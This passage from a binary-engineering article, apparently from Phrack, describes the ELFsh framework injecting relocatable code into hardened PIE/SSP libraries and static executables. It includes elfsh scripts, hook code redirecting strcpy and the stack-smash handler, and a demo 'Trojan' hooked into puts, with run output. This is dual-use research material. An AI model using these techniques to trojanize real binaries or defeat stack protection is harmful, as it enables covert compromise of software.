 elfsh@WTH $ file main
 main: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV),
 stripped

 elfsh@WTH $ ./main
 0x800008c8 main(argc=0xbfa238d0, argv=0xbfa2387c, envp=0xbfa23878,
                 auxv=0xbfa23874) __guard=0xb7ef4148
 ssp-all (Stack) Triggering an overflow by copying [20] of data into [10]
 of space
 main: stack smashing attack in function main()
 Aborted
```

```
elfsh@WTH $ ./main AAAAA
0x800008c8 main(argc=0xbf898e40, argv=0xbf898dec, envp=0xbf898de8,
                auxv=0xbf898de4) __guard=0xb7f6a148
ssp-all (Stack) Copying [5] of data into [10] of space

elfsh@WTH $ ./main AAAAAAAAAAAAAAAAAAAAAAAAAAA
0x800008c8 main(argc=0xbfd3c8e0, argv=0xbfd3c88c, envp=0xbfd3c888,
                auxv=0xbfd3c884) __guard=0xb7f0b148
ssp-all (Stack) Copying [27] of data into [10] of space
main: stack smashing attack in function main()
Aborted

========= END DUMP 31 =========
```

For the sake of fun, we decided to study in priority the hardened gentoo binaries [11] . Those comes with PIE (Position Independant Executable) and SSP (Stack Smashing Protection) built in. It does not change a line of our algorithm. Here are some tests done on a stack smashing protected binary with an overflow in the first parameter, triggering the stack smashing handler. We will redirect that handler to show that it is a normal function that use classical PLT mechanisms.

This is the code that we are going to inject :

```
========= BEGIN DUMP 32 =========

elfsh@WTH $ cat simple.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int     fake_main(int argc, char **argv)
{
  old_printf("I am the main function, I have %d argc and my "
             "argv is %08X yupeelala \n",
             argc, argv);

  write(1, "fake_main is calling write ! \n", 30);

  old_main(argc, argv);

  return (0);
}

char*   fake_strcpy(char *dst, char *src)
{
  printf("The fucker wants to copy %s at address %08X \n", src, dst);
  return ((char *) old_strcpy(dst, src));
}

void    fake_stack_smash_handler(char func[], int damaged)
{
  static int i = 0;
  printf("calling printf from stack smashing handler %u\n", i++);
  if (i>3)
    old___stack_smash_handler(func, damaged);
  else
    printf("Same player play again [damaged = %08X] \n", damaged);
  printf("A second (%d) printf from the handler \n", 2);
}

int fake_libc_start_main(void *one, void *two, void *three, void *four,
                         void *five, void *six, void *seven)
{
  static int i = 0;
```

```
  old_printf("fake_libc_start_main \n");
  printf("start_main has been run %u \n", i++);
  return (old___libc_start_main(one, two, three, four,
                               five, six, seven));
}
```

========= END DUMP 32 =========

          The elfsh script that allow for the modification is :

========= BEGIN DUMP 33 =========

```
elfsh@WTH $ cat relinject.esh
#!../../../vm/elfsh

load main
load simple.o

reladd 1 2

redir main fake_main
redir __stack_smash_handler fake_stack_smash_handler
redir __libc_start_main fake_libc_start_main
redir strcpy fake_strcpy

save fake_main

quit
```

========= END DUMP 33 =========

          Now let's see this in action !

========= BEGIN DUMP 34 =========

```
elfsh@WTH $ ./relinject.esh


        The ELF shell 0.65 (32 bits built) .::.

        .::. This software is under the General Public License V.2
        .::. Please visit http://www.gnu.org

~load main

[*] Sun Jul 31 17:24:20 2005 - New object main loaded

~load simple.o

[*] Sun Jul 31 17:24:20 2005 - New object simple.o loaded

~reladd 1 2

[*] ET_REL simple.o injected succesfully in ET_DYN main

~redir main fake_main

[*] Function main redirected to addr 0x00005154 <fake_main>

~redir __stack_smash_handler fake_stack_smash_handler

[*] Function __stack_smash_handler redirected to addr
    0x00005203 <fake_stack_smash_handler>

~redir __libc_start_main fake_libc_start_main
```

```
[*] Function __libc_start_main redirected to addr
    0x00005281 <fake_libc_start_main>

~redir strcpy fake_strcpy

[*] Function strcpy redirected to addr 0x000051BD <fake_strcpy>

~save fake_main

[*] Object fake_main saved successfully

~quit

[*] Unloading object 1 (simple.o)
[*] Unloading object 2 (main) *
        .:: Bye -:: The ELF shell 0.65

========= END DUMP 34 =========
```

What about the result ?

```
========= BEGIN DUMP 35 =========

elfsh@WTH $ ./fake_main
fake_libc_start_main
start_main has been run 0
I am the main function, I have 1 argc and my argv is BF9A6F54 yupeelala
fake_main is calling write !
0x800068c8 main(argc=0xbf9a6e80, argv=0xbf9a6e2c, envp=0xbf9a6e28,
               auxv=0xbf9a6e24) __guard=0xb7f78148
ssp-all (Stack) Triggering an overflow by copying [20] of data into [10]
of space
The fucker wants to copy 01234567890123456789 at address BF9A6E50
calling printf from stack smashing handler 0
Same player play again [damaged = 39383736]
A second (2) printf from the handler

elfsh@WTH $ ./fake_main AAAA
fake_libc_start_main
start_main has been run 0
I am the main function, I have 2 argc and my argv is BF83A164 yupeelala
fake_main is calling write !
0x800068c8 main(argc=0xbf83a090, argv=0xbf83a03c, envp=0xbf83a038,
               auxv=0xbf83a034) __guard=0xb7f09148
ssp-all (Stack) Copying [4] of data into [10] of space
The fucker wants to copy AAAA at address BF83A060

elfsh@WTH $ ./fake_main AAAAAAAAAAAAAAA
fake_libc_start_main
start_main has been run 0
I am the main function, I have 2 argc and my argv is BF8C7F24 yupeelala
fake_main is calling write !
0x800068c8 main(argc=0xbf8c7e50, argv=0xbf8c7dfc, envp=0xbf8c7df8,
                auxv=0xbf8c7df4) __guard=0xb7f97148
ssp-all (Stack) Copying [15] of data into [10] of space
The fucker wants to copy AAAAAAAAAAAAAAA at address BF8C7E20

========= END DUMP 35 =========
```

No problem there : strcpy, main, libc_start_main and __stack_smash_handler are redirected on our own routines as the output shows. We also call write that was not available in the original binary, which show that EXTPLT also works on ET_DYN objects, the cool stuff beeing that it worked without any modification.

In the current release (0.65rc1) there is a limitation on ET_DYN however. We have to avoid non-initialized variables because that would add some entries in relocation tables. This is not a problem to add some since we also copy .rel.got (rel.dyn) in EXTPLT on ET_DYN, but it is not implemented for now.

---[C. Extending static executables

Now we would like to be able to debug static binary the same way we do for dynamic ones. Since we cannot inject e2dbg using DT_NEEDED dependances on static binaries, the idea is to inject e2dbg as ET_REL into ET_EXEC since it is possible on static binaries. E2dbg as many more dependancies than a simple host.c program. The extended idea is to inject the missing part of static libraries when it is necessary.

We have to resolve dependancies on-the-fly while ET_REL injection is performed. For that we will use a simple recursive algorithm on the existing relocation code : when a symbol is not found at relocation time, either it is a old_* symbol so it is delayed in a second stage relocation time (Indeed, old symbols appears at redirection time, which is done after the injection of the ET_REL file so we miss that symbol at first stage), or the function symbol is definitely unknown and we need to add information so that the rtld can resolve it as well.

To be able to find the suitable ET_REL to inject, ELFsh load all the ET_REL from static library (.a) then the resolution is done using this pool of binaries. The workspace feature of elfsh is quite useful for this, when sessions are performed on more than a thousand of ET_EXEC ELF files at a time (after extracting modules from libc.a and others static librairies, for instance).

Circular dependancies are solved by using second stage relocation when the required symbol is in a file that is being injected after the current file. The same second stage relocation mechanism is used when we need to relocate ET_REL objects that use OLD symbols. Since OLD symbols are injected at redirection time and ET_REL files should be injected before (so that we can use functions from the ET_REL object as hook functions), we do not have OLD symbols at relocation time. The second stage relocation is then triggered at save time (for on disk modifications) or recursively solved when injecting multiple ET_REL with circular relocation dependances.

A problem is remaining, as for now we had one PT_LOAD by injected section, we quickly reach more than 500 PT_LOAD. This seems to be a bit too much for a regular ELF static file. We need to improve the PT_LOAD allocation mechanism so that we can inject bigger extension to such host binaries.

This technique provide the same features as EXTPLT but for static binaries : we can inject what we want (regardless of what the host binary contains).

So here is a smaller working example:

```
========= BEGIN DUMP 36 =========

elfsh@WTH $ cat host.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int     legit_func(char *str)
{
```

```
  puts("legit func !");
  return (0);
}

int main()
{
  char  *str;
  char  buff[BUFSIZ];
  read(0, buff, BUFSIZ-1);

  puts("First_puts");

  puts("Second_puts");

  fflush(stdout);

  legit_func("test");

  return (0);
}

elfsh@WTH $ file a.out
a.out: ELF 32-bit LSB executable, Intel 80386, statically linked,
not stripped

elfsh@WTH $ ./a.out

First_puts
Second_puts
legit func !

========= END DUMP 36 =========
```

          The injected file source code is as follow :

```
========= BEGIN DUMP 37 =========

elfsh@WTH $ cat rel2.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>


int     glvar_testreloc = 42;
int     glvar_testreloc_bss;
char    glvar_testreloc_bss2;
short   glvar_testreloc_bss3;


int     hook_func(char *str)
{
  int sd;

  printf("hook func %s !\n", str);

  return (old_legit_func(str));
}


int     puts_troj(char *str)
{
  int   local = 1;
  char  *str2;
  int   fd;
  char  name[16];
  void  *a;
```

```
   str2 = malloc(10);
   *str2 = 'Z';
   *(str2 + 1) = 0x00;

   glvar_testreloc_bss  = 43;
   glvar_testreloc_bss2 = 44;
   glvar_testreloc_bss3 = 45;

   memset(name, 0, 16);

   printf("Trojan injected ET_REL takes control now "
          "[%s:%s:%u:%u:%hhu:%hu:%u] \n",
          str2, str,
          glvar_testreloc,
          glvar_testreloc_bss,
          glvar_testreloc_bss2,
          glvar_testreloc_bss3,
          local);

  free(str2);

  gethostname(name, 15);
  printf("hostname : %s\n", name);

  printf("printf called from puts_troj [%s] \n", str);

  fd = open("/etc/services", 0, O_RDONLY);

  if (fd)
    {
     if ((a = mmap(0, 100, PROT_READ, MAP_PRIVATE, fd, 0)) == (void *) -1)
        {
          perror("mmap");
          close(fd);
          printf("mmap failed : fd: %d\n", fd);
          return (-1);
        }
      printf("-=-=-=-=-=- BEGIN /etc/services %d -=-=-=-=-=\n", fd);
      printf("host : %.60s\n", (char *) a);
      printf("-=-=-=-=-=- END   /etc/services %d -=-=-=-=-=\n", fd);
      printf("mmap succeed fd : %d\n", fd);
      close(fd);
    }


   old_puts(str);
   fflush(stdout);
   return (0);
 }

 ========= END DUMP 37 =========
```

The load_lib.esh script, generated using a small bash script, looks like this :

```
 ========= BEGIN DUMP 38 =========

 elfsh@WTH $ head -n 10 load_lib.esh
 #!../../../vm/elfsh
 load libc/init-first.o
 load libc/libc-start.o
 load libc/sysdep.o
 load libc/version.o
 load libc/check_fds.o
 load libc/libc-tls.o
 load libc/elf-init.o
 load libc/dso_handle.o
```

```
load libc/errno.o

========= END DUMP 38 =========


          Here is the injection ELFsh script:


========= BEGIN DUMP 39 =========

elfsh@WTH $ cat relinject.esh
#!../../../vm/elfsh

exec gcc -g3 -static host.c
exec gcc -g3 -static rel2.c -c

load a.out
load rel2.o

source ./load_lib.esh

reladd 1 2

redir puts puts_troj
redir legit_func hook_func

save fake_aout

quit

========= END DUMP 39 =========


          Stripped output of the injection :


========= BEGIN DUMP 40 =========
elfsh@WTH $ ./relinject.esh

        The ELF shell 0.65 (32 bits built) .::.

        .::. This software is under the General Public License V.2
        .::. Please visit http://www.gnu.org

~exec gcc -g3 -static host.c

[*] Command executed successfully

~exec gcc -g3 -static rel2.c -c

[*] Command executed successfully

~load a.out
[*] Sun Jul 31 16:37:32 2005 - New object a.out loaded

~load rel2.o
[*] Sun Jul 31 16:37:32 2005 - New object rel2.o loaded

~source ./load_lib.esh
~load libc/init-first.o
[*] Sun Jul 31 16:37:33 2005 - New object libc/init-first.o loaded

~load libc/libc-start.o
[*] Sun Jul 31 16:37:33 2005 - New object libc/libc-start.o loaded

~load libc/sysdep.o
[*] Sun Jul 31 16:37:33 2005 - New object libc/sysdep.o loaded

~load libc/version.o
[*] Sun Jul 31 16:37:33 2005 - New object libc/version.o loaded
```

```
[[... 1414 files later ...]]

[*] ./load_lib.esh sourcing -OK-

~reladd 1 2

[*] ET_REL rel2.o injected succesfully in ET_EXEC a.out

~redir puts puts_troj

[*] Function puts redirected to addr 0x080B7026 <puts_troj>

~redir legit_func hook_func

[*] Function legit_func redirected to addr 0x080B7000 <hook_func>

~save fake_aout

[*] Object fake_aout saved successfully

~quit

[*] Unloading object 1 (libpthreadnonshared/pthread_atfork.oS)
[*] Unloading object 2 (libpthread/ptcleanup.o)
[*] Unloading object 3 (libpthread/pthread_atfork.o)
[*] Unloading object 4 (libpthread/old_pthread_atfork.o)

[[... 1416 files later ...]]

        .:: Bye -:: The ELF shell 0.65

========= END DUMP 40 =========


          Does it works ?


========= BEGIN DUMP 41 =========

elfsh@WTH $ ./fake_aout

Trojan injected ET_REL takes control now [Z:First_puts:42:43:44:45:1]
hostname : WTH
printf called from puts_troj [First_puts]
-=-=-=-=-=- BEGIN /etc/services 3 -=-=-=-=-=
host : # /etc/services
#
# Network services, Internet style
#
# Not
-=-=-=-=-=- END   /etc/services 3 -=-=-=-=-=
mmap succeed fd : 3
First_puts
Trojan injected ET_REL takes control now [Z:Second_puts:42:43:44:45:1]
hostname : WTH
printf called from puts_troj [Second_puts]
-=-=-=-=-=- BEGIN /etc/services 3 -=-=-=-=-=
host : # /etc/services
#
# Network services, Internet style
#
# Not
-=-=-=-=-=- END   /etc/services 3 -=-=-=-=-=
mmap succeed fd : 3
Second_puts
hook func test !
Trojan injected ET_REL takes control now [Z:legit func !:42:43:44:45:1]
hostname : WTH
printf called from puts_troj [legit func !]
```

```
-=-=-=-=-=- BEGIN /etc/services 3 -=-=-=-=-=
host : # /etc/services
#
# Network services, Internet style
#
# Not
-=-=-=-=-=- END   /etc/services 3 -=-=-=-=-=
mmap succeed fd : 3
legit func !
========= END DUMP 41 =========
```

Yes, It’s working. Now have a look at the fake_aout static file :

```
========= BEGIN DUMP 42 =========

elfsh@WTH $ ../../../vm/elfsh  -f ./fake_aout -s

[*] Object ./fake_aout has been loaded (O_RDONLY)

[SECTION HEADER TABLE .::. SHT is not stripped]
[Object ./fake_aout]

[000] 0x00000000 -------                                foff:000000 sz:00000
[001] 0x080480D4 a------ .note.ABI-tag                  foff:069844 sz:00032
[002] 0x08048100 a-x---- .init                          foff:069888 sz:00023
[003] 0x08048120 a-x---- .text                          foff:69920 sz:347364
[004] 0x0809CE10 a-x---- __libc_freeres_fn              foff:417296 sz:02222
[005] 0x0809D6C0 a-x---- .fini                          foff:419520 sz:00029
[006] 0x0809D6E0 a------ .rodata                        foff:419552 sz:88238
[007] 0x080B2F90 a------ __libc_atexit                  foff:507792 sz:00004
[008] 0x080B2F94 a------ __libc_subfreeres              foff:507796 sz:00036
[009] 0x080B2FB8 a------ .eh_frame                      foff:507832 sz:03556
[010] 0x080B4000 aw----- .ctors                         foff:512000 sz:00012
[011] 0x080B400C aw----- .dtors                         foff:512012 sz:00012
[012] 0x080B4018 aw----- .jcr                           foff:512024 sz:00004
[013] 0x080B401C aw----- .data.rel.ro                   foff:512028 sz:00044
[014] 0x080B4048 aw----- .got                           foff:512072 sz:00004
[015] 0x080B404C aw----- .got.plt                       foff:512076 sz:00012
[016] 0x080B4060 aw----- .data                          foff:512096 sz:03284
[017] 0x080B4D40 aw----- .bss                           foff:515380 sz:04736
[018] 0x080B5FC0 aw----- __libc_freeres_ptrs            foff:520116 sz:00024
[019] 0x080B6000 aw----- rel2.o.bss                     foff:520192 sz:04096
[020] 0x080B7000 a-x---- rel2.o.text                    foff:524288 sz:04096
[021] 0x080B8000 aw----- rel2.o.data                    foff:528384 sz:00004
[022] 0x080B9000 a------ rel2.o.rodata                  foff:532480 sz:04096
[023] 0x080BA000 a-x---- .elfsh.hooks                   foff:536576 sz:00032
[024] 0x080BB000 aw----- libc/printf.o.bss              foff:540672 sz:04096
[025] 0x080BC000 a-x---- libc/printf.o.text             foff:544768 sz:04096
[026] 0x080BD000 aw----- libc/gethostname.o.bss         foff:548864 sz:04096
[027] 0x080BE000 a-x---- libc/gethostname.o.text        foff:552960 sz:04096
[028] 0x080BF000 aw----- libc/perror.o.bss              foff:557056 sz:04096
[029] 0x080C0000 a-x---- libc/perror.o.text             foff:561152 sz:04096
[030] 0x080C1000 a--ms-- libc/perror.o.rodata.str1.1 foff:565248 sz:04096
[031] 0x080C2000 a--ms-- libc/perror.o.rodata.str4.4 foff:569344 sz:04096
[032] 0x080C3000 aw----- libc/dup.o.bss                 foff:573440 sz:04096
[033] 0x080C4000 a-x---- libc/dup.o.text                foff:577536 sz:04096
[034] 0x080C5000 aw----- libc/iofdopen.o.bss            foff:581632 sz:04096
[035] 0x00000000 ------- .comment                       foff:585680 sz:20400
[036] 0x080C6000 a-x---- libc/iofdopen.o.text           foff:585728 sz:04096
[037] 0x00000000 ------- .debug_aranges                 foff:606084 sz:00136
[038] 0x00000000 ------- .debug_pubnames                foff:606220 sz:00042
[039] 0x00000000 ------- .debug_info                    foff:606262 sz:01600
[040] 0x00000000 ------- .debug_abbrev                  foff:607862 sz:00298
[041] 0x00000000 ------- .debug_line                    foff:608160 sz:00965
[042] 0x00000000 ------- .debug_frame                   foff:609128 sz:00068
[043] 0x00000000 ------- .debug_str                     foff:609196 sz:00022
```

```
[044] 0x00000000 ------- .debug_macinfo              foff:609218 sz:28414
[045] 0x00000000 ------- .shstrtab                   foff:637632 sz:00632
[046] 0x00000000 ------- .symtab                     foff:640187 sz:30192
[047] 0x00000000 ------- .strtab                     foff:670379 sz:25442

[*] Object ./fake_aout unloaded

elfsh@WTH $ ../../../vm/elfsh  -f ./fake_aout -p

[*] Object ./fake_aout has been loaded (O_RDONLY)

[Program Header Table .::. PHT]
[Object ./fake_aout]

[00] 0x8037000 -> 0x80B3D9C r-x memsz(511388) foff(000000) =>Loadable seg
[01] 0x80B4000 -> 0x80B7258 rw- memsz(012888) foff(512000) =>Loadable seg
[02] 0x80480D4 -> 0x80480F4 r-- memsz(000032) foff(069844) =>Aux. info.
[03] 0x0000000 -> 0x0000000 rw- memsz(000000) foff(000000) =>Stackflags
[04] 0x0000000 -> 0x0000000 --- memsz(000000) foff(000000) =>New PaXflags
[05] 0x80B6000 -> 0x80B7000 rwx memsz(004096) foff(520192) =>Loadable seg
[06] 0x80B7000 -> 0x80B8000 rwx memsz(004096) foff(524288) =>Loadable seg
[07] 0x80B8000 -> 0x80B8004 rwx memsz(000004) foff(528384) =>Loadable seg
[08] 0x80B9000 -> 0x80BA000 rwx memsz(004096) foff(532480) =>Loadable seg
[09] 0x80BA000 -> 0x80BB000 rwx memsz(004096) foff(536576) =>Loadable seg
[10] 0x80BB000 -> 0x80BC000 rwx memsz(004096) foff(540672) =>Loadable seg
[11] 0x80BC000 -> 0x80BD000 rwx memsz(004096) foff(544768) =>Loadable seg
[12] 0x80BD000 -> 0x80BE000 rwx memsz(004096) foff(548864) =>Loadable seg
[13] 0x80BE000 -> 0x80BF000 rwx memsz(004096) foff(552960) =>Loadable seg
[14] 0x80BF000 -> 0x80C0000 rwx memsz(004096) foff(557056) =>Loadable seg
[15] 0x80C0000 -> 0x80C1000 rwx memsz(004096) foff(561152) =>Loadable seg
[16] 0x80C1000 -> 0x80C2000 rwx memsz(004096) foff(565248) =>Loadable seg
[17] 0x80C2000 -> 0x80C3000 rwx memsz(004096) foff(569344) =>Loadable seg
[18] 0x80C3000 -> 0x80C4000 rwx memsz(004096) foff(573440) =>Loadable seg
[19] 0x80C4000 -> 0x80C5000 rwx memsz(004096) foff(577536) =>Loadable seg
[20] 0x80C5000 -> 0x80C6000 rwx memsz(004096) foff(581632) =>Loadable seg
[21] 0x80C6000 -> 0x80C7000 rwx memsz(004096) foff(585728) =>Loadable seg

[SHT correlation]
[Object ./fake_aout]

[*] SHT is not stripped

[00] PT_LOAD             .note.ABI-tag .init .text __libc_freeres_fn .fini
                         .rodata __libc_atexit __libc_subfreeres .eh_frame
[01] PT_LOAD            .ctors .dtors .jcr .data.rel.ro .got .got.plt
                        .data
                        .bss __libc_freeres_ptrs
[02] PT_NOTE            .note.ABI-tag
[03] PT_GNU_STACK
[04] PT_PAX_FLAGS
[05] PT_LOAD            rel2.o.bss
[06] PT_LOAD            rel2.o.text
[07] PT_LOAD            rel2.o.data
[08] PT_LOAD            rel2.o.rodata
[09] PT_LOAD            .elfsh.hooks
[10] PT_LOAD            libc/printf.o.bss
[11] PT_LOAD            libc/printf.o.text
[12] PT_LOAD            libc/gethostname.o.bss
[13] PT_LOAD            libc/gethostname.o.text
[14] PT_LOAD            libc/perror.o.bss
[15] PT_LOAD            libc/perror.o.text
[16] PT_LOAD            libc/perror.o.rodata.str1.1
[17] PT_LOAD            libc/perror.o.rodata.str4.4
[18] PT_LOAD            libc/dup.o.bss
[19] PT_LOAD            libc/dup.o.text
[20] PT_LOAD            libc/iofdopen.o.bss |.comment
[21] PT_LOAD            libc/iofdopen.o.text
[*] Object ./fake_aout unloaded

========= END DUMP 42 =========
```

We can notice the ET_REL really injected : printf.o@libc, dup.o@libc, gethostname.o@libc, perror.o@libc and iofdopen.o@libc.

Each injected file create several PT_LOAD segments. For this example it is okay, but for injecting E2dbg that is really too much.

This technique will be improved as soon as possible by reusing PT_LOAD entry when this is possible.

----[D. Architecture independant algorithms

In this part, we give all the architecture independent algorithms that were developed for the new residency techniques in memory, ET_DYN libraries, or static executables.

The new generic ET_REL injection algorithm is not that different from the one presented in the first Cerberus Interface article [0], that is why we only give it again in its short form. However, the new algorithm has improved in modularity and portability. We will detail some parts of the algorithm that were not explained in previous articles. The implementation mainly takes place in elfsh_inject_etrel() in the relinject.c file :

```
 New generic relocation algorithm
+--------------------------------+

 1/ Inject ET_REL BSS after the HOST BSS in a dedicated section (new)

 2/ FOREACH section in ET_REL object
   [
     IF [ Section is allocatable and Section is not BSS ]
     [
           - Inject section in Host file or memory
     ]
   ]

 3/ Fuze ET_REL and host file symbol tables

 4/ Relocate the ET_REL object (STAGE 1)

 5/ At save time, relocate the ET_REL object
    (STAGE 2 for old symbols relocations)
```

We only had one relocation stage in the past. We had to use another one since not all requested symbols are available (like old symbols gained from CFLOW redirections that may happen after the ET_REL injection). For ondisk modifications, the second stage relocation is done at save time.

Some steps in this algorithm are quite straightforward, such as step 1 and step 3. They have been explained in the first Cerberus article [0], however the BSS algorithm has changed for compatibility with ET_DYN files and multiple ET_REL injections. Now the BSS is injected just as other sections, instead of adding a complex BSS zones algorithm for always keeping one bss in the program.

```
  ET_DYN / ET_EXEC section injection algorithm
 +--------------------------------------------+
```

Injection algorithm for DATA sections does not change between ET_EXEC and ET_DYN files. However, code sections injection slighly changed for supporting both binaries and libraries host files. Here is the new algorithm for this operation :

```
* Find executable PT_LOAD
* Fix injected section size for page size congruence

IF [ Hostfile is ET_EXEC ]
[
  * Set injected section vaddr to lowest mapped section vaddr
  * Substract new section size to new section virtual address
]
ELSE IF [ Hostfile is ET_DYN ]
[
  * Set injected section vaddr to lowest mapped section vaddr
]

* Extend code segment size by newly injected section size

IF [ Hostfile is ET_EXEC ]
[
  * Substract injected section vaddr to executable PT_LOAD vaddr
]

FOREACH [ Entry in PHT ]
[
   IF [ Segment is PT_PHDR and Hostfile is ET_EXEC ]
   [
     * Substract injected section size to segment p_vaddr / p_paddr
   ]
   ELSE IF [ Segment stands after extended PT_LOAD ]
   [
     * Add injected section size to segment p_offset
     IF [ Hostfile is ET_DYN ]
     [
          * Add injected section size to segment p_vaddr and p_paddr
     ]
   ]
]

IF [ Hostfile is ET_DYN ]
[
  FOREACH [ Relocation entry in every relocation table ]
  [
       IF [ Relocation offset points after injected section ]
       [
          * Shift relocation offset from injected section size
       ]
  ]

  * Shift symbols from injected section size when pointing after it
  * Shift dynamic syms from injected section size (same condition)
  * Shift dynamic entries D_PTR's from injected section size
  * Shift GOT entries from injected section size
  * If existing, Shift ALTGOT entries from injected section size
  * Shift DTORS and CTORS the same way
  * Shift the entry point in ELF header the same way
]

* Inject new SECTION symbol on injected code
```

```
 Static ET_EXEC section injection algorithm
+-----------------------------------------+
```

This algorithm is used to insert sections inside static binaries. It can be found in libelfsh/inject.c in elfsh_insert_static_section() :

```
* Pad the injected section size to stay congruent to page size
* Create a new PT_LOAD program header whoose bounds match the
  new section bounds.
* Insert new section using classical algorithm
* Insert new program header in PHT


 Runtime section injection algorithm in memory
+----------------------------------------------+


This algorithm can be found in libelfsh/inject.c in the function
elfsh_insert_runtime_section() :

* Create a new PT_LOAD program header
* Insert SHT entry for new runtime section
  (so we keep a static map up-to-date)
* Insert new section using the classical algorithm
* Insert new PT_LOAD in Runtime PHT table (RPHT) with same bounds


Runtime PHT is a new table that we introduced so that we can
separate segments regulary mapped by the dynamic linker (original
PHT segments) from runtime injected segments. This may lead to an
easier algorithm for binary reconstruction from its memory image
in the future.

We will detail now the core (high level) relocation algorithm as
implemented in elfsh_relocate_object() and
elfsh_relocate_etrel_section() functions in libelfsh/relinject.c .
This code is common for all types of host files and for all
relocation stages. It is used at STEP 4 of the general algorithm:


Core portable relocation algorithm
+---------------------------------+

This algorithm has never been explained in any paper. Here it is :


FOREACH Injected ET_REL sections inside the host file
[
  FOREACH relocation entry in ET_REL file
  [
     * Find needed symbol in ET_REL for this relocation
     IF [ Symbol is COMMON or NOTYPE ]
     [
             * Find the corresponding symbol in Host file.
             IF [ Symbol is NOT FOUND ]
             [
                IF [ symbol is OLD and RELOCSTAGE == 1 ]
                [
                   * Delay relocation for it
                ]
                ELSE
                [
                  IF [ ET_REL symbol type is NOTYPE ]
                  [
                      * Request a new PLT entry and use its address
                       for performing relocation (EXTPLT algorithm)
                  ]
                  ELSE IF [ Host file is STATIC ]
                  [
                      * Perform EXTSTATIC technique (next algorithm)
                  ]
                  ELSE
                  [
                      * Algorithm failed, return ERROR
                  ]
```

```
                  ]
               ]
               ELSE
               [
                  * Use host file's symbol value
               ]
       ]
       ELSE
       [
            * Use injected section base address as symbol value
       ]
       - Relocate entry (switch/case architecture dependant handler)
    ]
  ]
```

EXTSTATIC relocation extension algorithm
+--+

In case the host file is a static file, we can try to get the unknown symbol from relocatables files from static libraries that are available on disk. An example of use of this EXTSTATIC technique is located in the testsuite/etrel_inject/ directory.

Here is the EXTSTATIC algorithm that comes at the specified place in the previous algorithm for providing the same functionality as EXTPLT but for static binaries :

```
FOREACH loaded ET_REL objects in ELFSH
[
   IF [ Symbol is found anywhere in current analyzed ET_REL ]
   [
       IF [ Found symbol is strongest than current result ]
       [
          * Update best symbol result and associated ET_REL file
       ]
       ELSE
       [
          * Discard current iteration result
       ]
   ]
]
* Inject the ET_REL dependency inside Host file
* Use newly injected symbol in hostfile as relocation symbol in core
  relocation algorithm.
```

Strongest symbol algorithm
+-------------------------+

When we have to choose between multiple symbols that have the same name in different objects (either during static or runtime injection), we use this simple algorithm to determine which one to use :

```
IF [ Current chosen symbol has STT_NOTYPE ]
[
   * Symbol becomes temporary choice
]
ELSE IF [ Candidate symbol has STT_NOTYPE ]
[
   * Symbol becomes temporary choice
]
ELSE IF [ Candidate symbol binding > Chosen symbol binding ]
[
   * Candidate symbol becomes Chosen symbol
]
```

-------[VI. Past and present

In the past we have shown that ET_REL injection into non-relocatable ET_EXEC object is possible. This paper presented multiple extensions and ports to this residency technique (ET_DYN and static executables target). Coupled to the EXTPLT technique that allow for a complete post-linking of the host file, we can add function definitions and use unknown functions in the software extension. All those static injection techniques worse when all PaX options are enabled on the modified binary. Of course, the position independant and stack smashing protection features of hardened Gentoo does not protect anything when it comes to binary manipulation, either performed on disk or at runtime.

We have also shown that it is possible to debug without using the ptrace system call, which open the door for new reverse engineering and embedded debugging methodology that bypass known anti-debugging techniques. The embedded debugger is not completely PaX proof and it is still necessary to disable the mprotect flag. Even if it does not sound like a real problem, we are still investigating on how to put breakpoints (e.g. redirections) without disabling it.

Our core techniques are portable to many architectures (x86, alpha, mips, sparc) on both 32bits and 64bits files. However our proof of concept debugger was done for x86 only. We believe that our techniques are portable enough to be able to provide the debugger for other architectures without much troubles.

Share and enjoy the framework, contributions are welcome.

-------[VII. Greetings

We thank all the peoples at the WhatTheHack party 2005 in Netherlands. We add much fun with you guys and again we will come in the future.

Special thanks go to andrewg for teaching us the sigaction technique, dvorak for his interest in the optimization on the the ALTPLT technique version 2 for the SPARC architecture, sk for libasm, and solar for providing us the ET_DYN pie/ssp testsuite.

Respects go to Devhell Labs, the PaX team, Phrackstaff, GOBBLES, MMHS, ADM, and Synnergy Networks. Final shoutouts to s/ash from RTC for driving us to WTH and the Coconut Crew for everything and the rest, you know who you are.

-------[VIII. References

[0] The Cerberus ELF Interface mayhem
http://www.phrack.org/show.php?p=61&a=8

[1] The GNU debugger GNU project
http://www.gnu.org/software/gdb/

[2] PaX / grsecurity The PaX team
http://pax.grsecurity.net/

[3] binary reconstruction from a core image Silvio Cesare
http://vx.netlux.org/lib/vsc03.html

```
 [4] Antiforensic evolution: Self                          Ripe & Pluf
     http://www.phrack.org/show.php?p=63&a=11

 [5] Next-Gen. Runtime binary encryption                   Zeljko Vbra
     http://www.phrack.org/show.php?p=63&a=13

 [6] Fenris                                                Michal Zalewski
     http://lcamtuf.coredump.cx/fenris/

 [7] Ltrace                                                Ltrace team
     http://freshmeat.net/projects/ltrace/

 [8] The dude (replacement to ptrace)                      Mammon
     http://www.eccentrix.com/members/mammon/Text/d\
     ude_paper.txt

 [9] Binary protection schemes                             Andrewg
     http://www.codebreakers-journal.com/viewar\
     ticle.php?id=51&layout=abstract

 [10] ET_REL injection in memory                           JP
      http://www.whatever.org.ar/~cuco/MERCANO.TXT

 [11] Hardened Gentoo project                              Hardened team
      http://www.gentoo.org/proj/en/hardened/

 [12] Unpacking by Code Injection                          Eduardo Labir
      http://www.codebreakers-journal.com/viewart\
      icle.php?id=36&layout=abstract
```